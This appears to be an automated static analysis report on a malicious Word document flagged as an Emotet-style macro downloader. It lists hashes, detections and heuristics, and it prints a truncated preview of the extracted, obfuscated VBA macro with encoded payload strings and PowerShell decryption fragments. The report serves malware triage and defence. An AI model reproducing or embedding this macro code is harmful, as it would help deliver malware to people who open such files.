Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0c5f95f6f3fe9a3e…

MALICIOUS

Office (OLE)

151.5 KB Created: 2018-04-05 15:38:00 Authoring application: Microsoft Office Word First seen: 2018-04-12
MD5: cd9eba0923aae3b2990247ce5f9ee2db SHA-1: 73f0cbb394c272fb5f6ce7098e5330ee7d492433 SHA-256: 0c5f95f6f3fe9a3ea0a4b17e5941002c42d21069c55bea269bc15ac88a48ff67
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro that uses CreateObject to execute code. The ClamAV detection 'Doc.Malware.Emodldr-10025032-0' and the presence of a VBA macro named 'macros.bas' strongly indicate a downloader or dropper functionality. The VBA script is heavily obfuscated, but the heuristic firings confirm the intent to execute code via macros.

Heuristics 8

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 46374 bytes
SHA-256: f25a2dc4e1969f20475379b1fd301775085c7a0c1efd5e7cfc9447bfe0c11915
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 24 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "cVfkULzM"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "lZwYQwNt"
Sub iIaAz(EZTtL)
wlwXtO = JXRsEA
         Cos (83359 / CDate(91697 - Sin(63030)))
         ENjTY = (32970 / 5109)
oQrzap = 83355 / knoAB
jZjiM = WzGNX
         Cos (27343 / CDate(29025 - Sin(62063)))
         HZUvwE = (97781 / 93604)
zcBlQ = 7900 / jJhiJ
tEmEoJ = bMaLqc
         Cos (26401 / CDate(37716 - Sin(9938)))
         Skcaj = (68363 / 27431)
iCGrEh = 4012 / YfPIr
pThlC = uoqnbE
         Cos (29794 / CDate(87819 - Sin(63542)))
         NVYUF = (14191 / 44494)
HsIYEi = 7282 / NBvJsv
End Sub
Function TuvEASZRwi()
On Error Resume Next
PMpJFw = FptRJ
         Cos (88792 / CDate(62335 - Sin(87837)))
         HAorz = (84332 / 63817)
uildI = 62913 / MsmBs
SrfEMVRLQw = DUMPj("rzAGIAMQBhADIANwAxADgAMQA4AGQANwBlADQAOABhADMAYQAzAGUAYgAwADIAOAAxADEAYgA0ADAAYwACAa7w", 2 + 9934 - 9934, 80 + 9934 - 9934)
WpUqDf = IwLFa
         Cos (29704 / CDate(67196 - Sin(31308)))
         RnXfjP = (51196 / 24809)
wIdEQH = 59091 / YlLTB
ioHba = Muksv
         Cos (50828 / CDate(70761 - Sin(53991)))
         HvWFV = (94863 / 67489)
rbCCK = 68886 / iBhdko
DIclOMoEiF = DUMPj("968A1AGIAYgBiAGIAOQAyADIAOQBjADMAZABmAGQAZABmADEANAA5AGEANQAwADkANgA3ADUAZgBiADgAMgBjADgANABkAGQAYgAyAGQAOQA4AGIAMwBjADAAZQAyEwwV", 4 + 9934 - 9934, 122 + 9934 - 9934)
lTldJM = Tisaf
         Cos (75989 / CDate(67588 - Sin(78884)))
         zNvlP = (98774 / 45187)
BLvOt = 86593 / rfRKC
iMEjbi = ctjZfA
         Cos (62466 / CDate(94898 - Sin(76726)))
         Tjtroi = (85999 / 78489)
WXiBl = 54999 / oXWNG
wpGjQvnvcQb = DUMPj("icraUANABiADMAYwBkAGIANgBlAGMAYgAzADAAZQAzAZY", 5 + 9934 - 9934, 39 + 9934 - 9934)
pRiiNF = fVXqFz
         Cos (36026 / CDate(80491 - Sin(85118)))
         hLuSLJ = (95256 / 85593)
wXLJaa = 57151 / qcIJRn
pKWREf = qKiOs
         Cos (25853 / CDate(26050 - Sin(33094)))
         dhWGkd = (56407 / 9217)
CoOvG = 17488 / XuipIF
DAXvw = DUMPj("8Q4DQAMABiADQAOAA0ADAAMAA0ADEANgNak", 4 + 9934 - 9934, 29 + 9934 - 9934)
IthIz = LziGk
         Cos (65599 / CDate(76685 - Sin(92790)))
         rLjRQC = (82856 / 91378)
DVUVSf = 54244 / XdNNDU
CkJBZ = cCQpKH
         Cos (52400 / CDate(66393 - Sin(73024)))
         WbEsa = (53182 / 39583)
bRpGj = 99581 / PjUZLG
vtRKKjqb = DUMPj("3ZwBhAGUANQBjAGUAMQAyAGUANQA2ADEANgA5AGYANQAwAGUAMQAxAGUAMAA1AGMANQAwADUAMAA4ADcAZQBkADAAOAA1ADAANgA2ADMAMgAxADYANwA3AGInV7T3W", 4 + 9934 - 9934, 117 + 9934 - 9934)
pUKzG = TCmcd
         Cos (85739 / CDate(86792 - Sin(8632)))
         TnaQza = (16328 / 78516)
TRMub = 12855 / aFGlk
scwpD = uBiWu
         Cos (22376 / CDate(12585 - Sin(16002)))
         nWPKt = (22063 / 49395)
pCjhUY = 81870 / doDRCB
WQNds = DUMPj("@DlYODQAYQBiAGUANwBjADYAMgBhAGUAZAA3ADQANwBmADQAYwA5ADcAMQA0ADYAYgA5AGUAMwA2AGUAZAA2ADAANAAwADgAMwA5ADIAYgBhADUAZABlADgAZgBhAGEAYgA3ADgAMwA1ADgANQA3AGEAMwBlADgAOQA5AGIAYgBlAGUAOABmADkAYgAxADEAMgA3ADk2XZ0", 6 + 9934 - 9934, 194 + 9934 - 9934)
AAzzBR = mrlBQ
         Cos (94663 / CDate(81291 - Sin(82021)))
         LTzImX = (43722 / 50091)
opQWDq = 40926 / vOJvOY
CRARdd = cEOku
         Cos (80813 / CDate(2137 - Sin(23626)))
         iBjXh = (52648 / 36098)
DiYpQn = 1378 / oqdGsu
mjAzl = DUMPj("coM6wsECUREStRi'+'n'+'G') -Key 64,236,126,53,213,223,114,176,169,10,225,232,116,214,133,116,214,154,202,149,194,38,244,177,172,140,119,208,71,11,1aj", 6 + 9934 - 9934, 141 + 9934 - 9934)
jzXvZ = wZEMrV
         Cos (29514 / CDate(40539 - Sin(89953)))
         bwMOv = (9304 / 25247)
RNsFz = 46079 / KouAZ
zYfkjf = KICYm
         Cos (91681 / CDate(59776 - Sin(10728)))
         YbrDzN = (91774 / 30384)
UmzPv = 30801 / JipZVz
hHjKRkK = DUMPj("ThsHhINTEROPservicES.MarSHaL]::SEcUrESTrinGToBSTr( $('76492d1116743f043R", 6 + 9934 - 9934, 65 + 9934 - 9934)
kfcNp = iGuTL
         Cos (57777 / CDate(74833 - Sin(
... (truncated)

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